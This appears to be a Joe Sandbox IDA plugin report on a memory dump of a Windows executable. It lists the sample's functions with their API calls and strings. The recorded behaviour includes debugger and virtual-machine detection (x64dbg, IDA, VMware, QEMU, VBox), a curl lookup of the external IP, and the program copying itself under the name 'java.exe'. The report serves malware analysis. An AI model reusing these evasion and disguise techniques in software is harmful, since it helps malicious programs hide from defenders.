Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$_invalid_parameter_noinfo_noreturn$Drivememmove$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@D@std@@@1@@LogicalStringsTypeV?$basic_streambuf@memset
String ID: (CD-ROM)$ (Local)$ (Network)$ (RAM Disk)$ (Removable)$ (Unknown)$No drives detected
API String ID: 3633658073-1332592045
Opcode ID: fc386d3375d3b44eabae3c4723390cc2e52fbe90a3799c7f1168b13f9aec711b
Instruction ID: 4e193bac3b1e8419787b5d52fdf5fa24ccfcd2858cd7a5eaa66ac709f7fc4f96
Opcode Fuzzy Hash: fc386d3375d3b44eabae3c4723390cc2e52fbe90a3799c7f1168b13f9aec711b
Instruction Fuzzy Hash: 49D19963A2CBC2A5EB10CB65E4512AE67A1FB86794F504236DE4DC3BA8DF7CD184C710

Function 00007FF670FC3EC9 Relevance: 28.1, APIs: 7, Strings: 9, Instructions: 84
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF670FC3EE8
memset.VCRUNTIME140 ref: 00007FF670FC3F19
Process32FirstW.KERNEL32 ref: 00007FF670FC3F28
_wcsicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF670FC3F47
Process32NextW.KERNEL32 ref: 00007FF670FC3F65
CloseHandle.KERNELBASE ref: 00007FF670FC3F77

Strings

Security check failed!, xrefs: 00007FF670FC4272
VBox, xrefs: 00007FF670FC3EFA, 00007FF670FC3F7D
x64dbg.exe, xrefs: 00007FF670FC41EA
VMware, xrefs: 00007FF670FC420D
ida64.exe, xrefs: 00007FF670FC41F8
QEMU, xrefs: 00007FF670FC4214
ida.exe, xrefs: 00007FF670FC41FF
cheatengine-x86_64.exe, xrefs: 00007FF670FC4206
x32dbg.exe, xrefs: 00007FF670FC41F1

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_wcsicmpmemset
String ID: QEMU$Security check failed!$VBox$VMware$cheatengine-x86_64.exe$ida.exe$ida64.exe$x32dbg.exe$x64dbg.exe
API String ID: 4057197811-609307201
Opcode ID: c64f5e80e60c7e590fc2e8e59739d82692e68fa2b7077d425abbb35b56314ba8
Instruction ID: 951ae1808cf73ca7d12345ff13f3b235fa76b36774bc7d76bb3ea89ff17ad842
Opcode Fuzzy Hash: c64f5e80e60c7e590fc2e8e59739d82692e68fa2b7077d425abbb35b56314ba8
Instruction Fuzzy Hash: 15412527B2CA86A4EB44DB60E8552B92372FB44798F944236CD1DD37A4DF3CE649C320

Function 00007FF670FC3FEA Relevance: 28.1, APIs: 6, Strings: 10, Instructions: 62
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 00007FF670FC3FF1
GetProcAddress.KERNEL32 ref: 00007FF670FC4009
FreeLibrary.KERNEL32 ref: 00007FF670FC401A
GetCurrentProcess.KERNEL32 ref: 00007FF670FC4038
NtQueryInformationProcess.NTDLL ref: 00007FF670FC405A
FreeLibrary.KERNEL32 ref: 00007FF670FC4061

Strings

ntdll.dll, xrefs: 00007FF670FC3FEA
NtQueryInformationProcess, xrefs: 00007FF670FC3FFF
VBox, xrefs: 00007FF670FC4023, 00007FF670FC4076
x64dbg.exe, xrefs: 00007FF670FC41EA
VMware, xrefs: 00007FF670FC420D
ida64.exe, xrefs: 00007FF670FC41F8
QEMU, xrefs: 00007FF670FC4214
ida.exe, xrefs: 00007FF670FC41FF
cheatengine-x86_64.exe, xrefs: 00007FF670FC4206
x32dbg.exe, xrefs: 00007FF670FC41F1

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Library$FreeProcess$AddressCurrentInformationLoadProcQuery
String ID: NtQueryInformationProcess$QEMU$VBox$VMware$cheatengine-x86_64.exe$ida.exe$ida64.exe$ntdll.dll$x32dbg.exe$x64dbg.exe
API String ID: 3226424356-3571693660
Opcode ID: d9627f16db0fc1a86dd0f104945a38c67c949dada191655017f2f8b7aff098c4
Instruction ID: cbe2f9e68ec8a7cc90c471270a4e52c6ed49ebc976a6e004f1f20c377a596412
Opcode Fuzzy Hash: d9627f16db0fc1a86dd0f104945a38c67c949dada191655017f2f8b7aff098c4
Instruction Fuzzy Hash: F9310A27A2CB87A1EA519B10E4257BA2761FF48788FA40132CE4DD3764DF7DE549C320

Function 00007FF670FC4130 Relevance: 24.6, APIs: 4, Strings: 10, Instructions: 70
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF670FC4170
RegQueryValueExA.KERNELBASE ref: 00007FF670FC419F
strstr.VCRUNTIME140 ref: 00007FF670FC41B7
RegCloseKey.KERNELBASE ref: 00007FF670FC41D8

Strings

SystemManufacturer, xrefs: 00007FF670FC4189
x64dbg.exe, xrefs: 00007FF670FC41EA
VMware, xrefs: 00007FF670FC420D
ida64.exe, xrefs: 00007FF670FC41F8
QEMU, xrefs: 00007FF670FC4214
Virtual, xrefs: 00007FF670FC4130
ida.exe, xrefs: 00007FF670FC41FF
cheatengine-x86_64.exe, xrefs: 00007FF670FC4206
SYSTEM\HardwareConfig\Current\, xrefs: 00007FF670FC413F
x32dbg.exe, xrefs: 00007FF670FC41F1

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: CloseOpenQueryValuestrstr
String ID: QEMU$SYSTEM\HardwareConfig\Current\$SystemManufacturer$VMware$Virtual$cheatengine-x86_64.exe$ida.exe$ida64.exe$x32dbg.exe$x64dbg.exe
API String ID: 3146380931-3937382361
Opcode ID: ef39f671da64075728605a1ffdf3e4a340ea3a097cf108c17dc8ed1a93a84ef8
Instruction ID: 404f3f4b8c647dd60e3e9450767abbdd2855e0342ee1279cf2e95892fcf493b4
Opcode Fuzzy Hash: ef39f671da64075728605a1ffdf3e4a340ea3a097cf108c17dc8ed1a93a84ef8
Instruction Fuzzy Hash: D0313A33A2CA96A5EB508B20E8506AA23A5FB8478CF940132DE8DD3764DF3CE549C710

Function 00007FF670FC40AC Relevance: 22.8, APIs: 4, Strings: 9, Instructions: 56
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF670FC40D5
RegQueryValueExA.KERNELBASE ref: 00007FF670FC4109
RegCloseKey.ADVAPI32 ref: 00007FF670FC411C
RegCloseKey.KERNELBASE ref: 00007FF670FC41D8

Strings

SYSTEM\CurrentControlSet\Control\CI\Policy, xrefs: 00007FF670FC40C7
x64dbg.exe, xrefs: 00007FF670FC41EA
DebugPolicy, xrefs: 00007FF670FC40F2
VMware, xrefs: 00007FF670FC420D
ida64.exe, xrefs: 00007FF670FC41F8
QEMU, xrefs: 00007FF670FC4214
ida.exe, xrefs: 00007FF670FC41FF
cheatengine-x86_64.exe, xrefs: 00007FF670FC4206
x32dbg.exe, xrefs: 00007FF670FC41F1

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Close$OpenQueryValue
String ID: DebugPolicy$QEMU$SYSTEM\CurrentControlSet\Control\CI\Policy$VMware$cheatengine-x86_64.exe$ida.exe$ida64.exe$x32dbg.exe$x64dbg.exe
API String ID: 1607946009-952540290
Opcode ID: 25521cfc004ebc257bc61c3e9327480934541754925d5f39829c10b8d7562104
Instruction ID: de05a732a22a488539b26af368c21550c9156ba7ab9087fa34c8e9dda193ef13
Opcode Fuzzy Hash: 25521cfc004ebc257bc61c3e9327480934541754925d5f39829c10b8d7562104
Instruction Fuzzy Hash: FA216D27A2CA87A1EB608B10E4257AA6365FB8475CF901133EE8DC3754DF3DE649C720

Function 00007FF670FC3F89 Relevance: 19.3, APIs: 4, Strings: 7, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryPerformanceFrequency.KERNEL32 ref: 00007FF670FC3F8E
QueryPerformanceCounter.KERNEL32 ref: 00007FF670FC3F99
SleepEx.KERNELBASE ref: 00007FF670FC3FA4
QueryPerformanceCounter.KERNEL32 ref: 00007FF670FC3FAF
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF670FC4288

Strings

x64dbg.exe, xrefs: 00007FF670FC41EA
VMware, xrefs: 00007FF670FC420D
ida64.exe, xrefs: 00007FF670FC41F8
QEMU, xrefs: 00007FF670FC4214
ida.exe, xrefs: 00007FF670FC41FF
cheatengine-x86_64.exe, xrefs: 00007FF670FC4206
x32dbg.exe, xrefs: 00007FF670FC41F1

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: PerformanceQuery$CounterV01@$??6?$basic_ostream@D@std@@@std@@FrequencySleepU?$char_traits@V01@@
String ID: QEMU$VMware$cheatengine-x86_64.exe$ida.exe$ida64.exe$x32dbg.exe$x64dbg.exe
API String ID: 353636290-478688673
Opcode ID: b0e68379d2f43bbfd6adcc4404e2dbc32403da636b006cdd8939f56799da900c
Instruction ID: b31b3f6741d9c2a0ace6ee0eb85045fdb2198228583c79bb8abf7627499399a4
Opcode Fuzzy Hash: b0e68379d2f43bbfd6adcc4404e2dbc32403da636b006cdd8939f56799da900c
Instruction Fuzzy Hash: 2D216223A2CE87A5EA01DB20E4256A96322FF84798F504133DD0ED3720DF3CE54AC720

Function 00007FF670FC4082 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF670FC408A
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF670FC4098
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF670FC4288

Strings

x64dbg.exe, xrefs: 00007FF670FC41EA
VMware, xrefs: 00007FF670FC420D
ida64.exe, xrefs: 00007FF670FC41F8
QEMU, xrefs: 00007FF670FC4214
ida.exe, xrefs: 00007FF670FC41FF
cheatengine-x86_64.exe, xrefs: 00007FF670FC4206
x32dbg.exe, xrefs: 00007FF670FC41F1

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@CheckCurrentD@std@@@std@@DebuggerPresentProcessRemoteU?$char_traits@V01@@
String ID: QEMU$VMware$cheatengine-x86_64.exe$ida.exe$ida64.exe$x32dbg.exe$x64dbg.exe
API String ID: 3386908335-478688673
Opcode ID: 9cc1c9118efba7c555eab79f76b55be6e403fb393d9724d640f38c7b895dc272
Instruction ID: cfa2641c10ac12c3ebf837f195a62c048f7e79fe587c81a40db707946709eb37
Opcode Fuzzy Hash: 9cc1c9118efba7c555eab79f76b55be6e403fb393d9724d640f38c7b895dc272
Instruction Fuzzy Hash: 1F111827A2CA86A2EA508B10E4257E92361FB4434CFA00133DE4DD3724CF3DEA4AC720

Function 00007FF670FC61C0 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 160
fileprocesssynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE ref: 00007FF670FC622A
CreateProcessA.KERNELBASE ref: 00007FF670FC62AA
CloseHandle.KERNEL32 ref: 00007FF670FC62BC
ReadFile.KERNELBASE ref: 00007FF670FC62F7
memmove.VCRUNTIME140 ref: 00007FF670FC6343
ReadFile.KERNELBASE ref: 00007FF670FC637A
WaitForSingleObject.KERNEL32 ref: 00007FF670FC638D
CloseHandle.KERNELBASE ref: 00007FF670FC6397
CloseHandle.KERNEL32 ref: 00007FF670FC63A1
CloseHandle.KERNEL32 ref: 00007FF670FC63AC
CloseHandle.KERNEL32 ref: 00007FF670FC63DC
CloseHandle.KERNEL32 ref: 00007FF670FC63E7
_CxxThrowException.VCRUNTIME140 ref: 00007FF670FC640A
_CxxThrowException.VCRUNTIME140 ref: 00007FF670FC642D

Strings

CreateProcess failed, xrefs: 00007FF670FC63ED
System, xrefs: 00007FF670FC61CC
CreatePipe failed, xrefs: 00007FF670FC6410

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: CloseHandle$CreateExceptionFileReadThrow$ObjectPipeProcessSingleWaitmemmove
String ID: CreatePipe failed$CreateProcess failed$System
API String ID: 1891516669-1096748438
Opcode ID: 3880c30b75bd352c9b1a29dab04add5514506e865d04dfa20b575b1e48a9bc5d
Instruction ID: 9171701029652ae1236cd8308f658bdc575599d7caa623d2d9af715a3df84718
Opcode Fuzzy Hash: 3880c30b75bd352c9b1a29dab04add5514506e865d04dfa20b575b1e48a9bc5d
Instruction Fuzzy Hash: 83713B22A28B82A6EB10CF61E8543AD7764FB84788F105236EE4DD3B68DF7CD595C710

Function 00007FF670FC1450 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC34D8

memmove.VCRUNTIME140 ref: 00007FF670FC1526
memmove.VCRUNTIME140 ref: 00007FF670FC1534
memmove.VCRUNTIME140 ref: 00007FF670FC154A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC15CB
_popen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF670FC1601
fgets.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF670FC16B9
fgets.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF670FC1703
_pclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF670FC1711
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC1776

Strings

https://api.ipify.org, xrefs: 00007FF670FC14A2
curl -s , xrefs: 00007FF670FC14F2

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memmove$_invalid_parameter_noinfo_noreturnfgets$_pclose_popen
String ID: curl -s $https://api.ipify.org
API String ID: 4263605086-4145788705
Opcode ID: ae73d1421c309b4769a2fb54ff61077935537acb340cbfafb32d3ed8a36bdc6c
Instruction ID: 47608d847490b985c27630414bbc9067e03ebc0f0094d7aabede2235c6ac2190
Opcode Fuzzy Hash: ae73d1421c309b4769a2fb54ff61077935537acb340cbfafb32d3ed8a36bdc6c
Instruction Fuzzy Hash: 95919A23E2CBC596EA00CB64D8413AE2361FB96B94F545321EE9D97B99DF3CE181C710

Function 00007FF670FC4530 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF670FC45A9
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF670FC45C9
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF670FC45D9
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF670FC4626
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF670FC464F
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF670FC4676
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF670FC46BC
?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF670FC46C3
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF670FC46D0

Strings

VBox, xrefs: 00007FF670FC453B

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exceptions@std@@Osfx@?$basic_ostream@V12@
String ID: VBox
API String ID: 4121003011-8870058
Opcode ID: 8d9f1fcbf29990ccba68683eb9388bbe1b18308a65f00ed4dbf19797e9948431
Instruction ID: e67ad0baaba02cac7801cddc41a715b16f74278086f1584a7ffa8ea204fb888f
Opcode Fuzzy Hash: 8d9f1fcbf29990ccba68683eb9388bbe1b18308a65f00ed4dbf19797e9948431
Instruction Fuzzy Hash: B0518C2361CA8192EB209F19E19023DABA1FB85F95F15C631CE5EC37A0CF7EE4468310

Function 00007FF670FC47D0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF670FC4814
SHGetKnownFolderPath.SHELL32 ref: 00007FF670FC4833

Part of subcall function 00007FF670FC5210: memmove.VCRUNTIME140 ref: 00007FF670FC527A

memmove.VCRUNTIME140 ref: 00007FF670FC4884
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC490E
CoTaskMemFree.OLE32 ref: 00007FF670FC491F
GetFileAttributesW.KERNELBASE ref: 00007FF670FC4932
CopyFileW.KERNELBASE ref: 00007FF670FC4952

Strings

\java.exe, xrefs: 00007FF670FC487D
System, xrefs: 00007FF670FC47DC

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: File$memmove$AttributesCopyFolderFreeKnownModuleNamePathTask_invalid_parameter_noinfo_noreturn
String ID: System$\java.exe
API String ID: 1966085478-2838124431
Opcode ID: 9df640e94e4460063b0ebfa5c6d29310eec143933f45953db38a7472d5bb157b
Instruction ID: 48b85b0b9def74e1f70f82fbd6b2b7d2ee4e5432393e0c7a74397262ae1515c6
Opcode Fuzzy Hash: 9df640e94e4460063b0ebfa5c6d29310eec143933f45953db38a7472d5bb157b
Instruction Fuzzy Hash: 74418923A2CAC1A2EB009F25E45536E6361FB84B94F505232DE9DC3B99DFBCE195C710

Function 00007FF670FC3AC0 Relevance: 13.6, APIs: 9, Instructions: 131COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF670FC3B25
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF670FC3B45
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF670FC3B55
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF670FC3B9C
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF670FC3BC9
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF670FC3BEA
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF670FC3C30
?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF670FC3C37
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF670FC3C44

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exceptions@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 4121003011-0
Opcode ID: 32c923d81eb2f926df63972f162163bef63c4a2309fcb996621e0580ae7188cd
Instruction ID: 210e595b0581b20ff6d4d63e8a93f14aeef1ca9e114cc1e94e654c024bf3ef66
Opcode Fuzzy Hash: 32c923d81eb2f926df63972f162163bef63c4a2309fcb996621e0580ae7188cd
Instruction Fuzzy Hash: C7511C33A1CA8192EB608F19D59123DABA0EB85FD5F158632CE5EC7760CF3DD8468310

Function 00007FF670FCDC1C Relevance: 12.1, APIs: 8, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF670FCDC45
__scrt_release_startup_lock.LIBCMT ref: 00007FF670FCDCB3
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCDD01
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCDD06
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCDD0E
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCDD16
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCDD38
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCDD92

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

